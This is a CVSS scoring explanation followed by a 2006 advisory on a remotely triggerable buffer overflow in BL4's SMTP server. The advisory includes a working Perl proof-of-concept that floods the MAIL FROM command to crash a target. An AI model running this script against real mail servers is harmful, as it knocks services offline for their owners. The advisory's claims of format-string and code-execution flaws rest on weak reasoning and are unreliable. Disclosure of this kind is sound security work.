The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
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[ECHO_ADV_30$2006] BL4's SMTP server BufferOverflow Vulnerable
------------------------------------------------------------------------
---
Author : Dedi Dwianto
Date : April, 27th 2006
Location : Indonesia, Jakarta
Web : http://advisories.echo.or.id/adv/adv30-theday-2006.txt
Critical Lvl : High
------------------------------------------------------------------------
---
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : BL4's SMTP server
version : < 0.1.5
URL : http://bl4qkubartnndfhr.emmeya.com/prog/smtp?0
Description :
BL4's SMTP server is an inbound only SMTP server.
It currently uses hardcoded values for handling email.
The SMTP server puts the incoming email into various text files.
------------------------------------------------------------------------
---
Vulnerability:
~~~~~~~~~~~~~~~~
BL4's SMTP server is to a flaw that can allow remote attacker to
cause a denial of service or a attacker can Execution of Arbitrary Code.
The vulnerability is due to a buffer overflow in the SMTP service.
A remote attacker can repeatedly send more that 2100 bytes as the argument to the HELO, MAIL FROM, and RCPT TO commands to crash the server.
------------------think.c-----------------------------------
...........
{
slaveEmail[x]->isData = 0;
slaveEmail[x]->emailFrom = 0;
slaveEmail[x]->emailTo = 0;
free(buffer);
buffer = malloc(sizeof(char) * 12);
sprintf(buffer, "250 OKrn");
return buffer;
}
free(buffer);
.............
slaveEmail[x]->EHLO = buffer;
slaveEmail[x]->EHLOtrue = 1;
buffer = malloc(sizeof(char) * 12);
sprintf(buffer, "250 OKrn");
return buffer;
-----------------------------------------------------------
--
sprintf(buffer, "250 OKrn");
--
Vulnerable for format strings.
--
free(buffer);
buffer = malloc(sizeof(char) * 12);
--
Vulnerable for buffer overflow.
A attacker can create Arbitrary Code here .
Poc:
~~~~~~~~~~~~
#!/usr/bin/perl
use IO::Socket;
use Socket;
my($socket) = "";
if($#ARGV < 1 | $#ARGV > 2) {usage()}
if($#ARGV > 2) { $prt = $ARGV[1] } else { $prt = "25" };
$adr = $ARGV[0];
$prt = $ARGV[1];
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "Error: cant connect to $adr:$prtn";
print " -- Connecting To SMTP server at $adr port $prt ... n";
sleep(1);
print $socket "EHLO yahoo.comrn" and print " -- Sending Request to $adr .....n" or die "Error : can't send Requestn";
sleep(1);
print $socket "MAIL FROM:" . "jessy" x 4600 . "rn" and print " -- Sending Buffer to $adr .....n";
sleep(1);
printf("[+]Ok!n");
printf("[+]Crash service.....n");
printf("[~]Done.n");
close($socket);
sub usage()
{
print "n=========================================rn";
print " BL4's SMTP server Remote DOS rn";
print "=========================================rn";
print " Bug Found by Dedi Dwianto rn";
print " www.echo.or.id #e-c-h-o irc.dal.net rn";
print " Echo Security Research Group rn";
print "=========================================rn";
print " Usage: perl bl4-explo.pl [target] [port] rnn";
exit();
}
------------------------------------------------------------------------
---
Shoutz:
~~~~~~~
~ y3dips,moby,comex,z3r0byt3,K-158,c-a-s-e,S`to,lirva32,anonymous
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~~~~~~
Dedi Dwianto || echo|staff || the_day[at]echo[dot]or[dot]id
Homepage: http://theday.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
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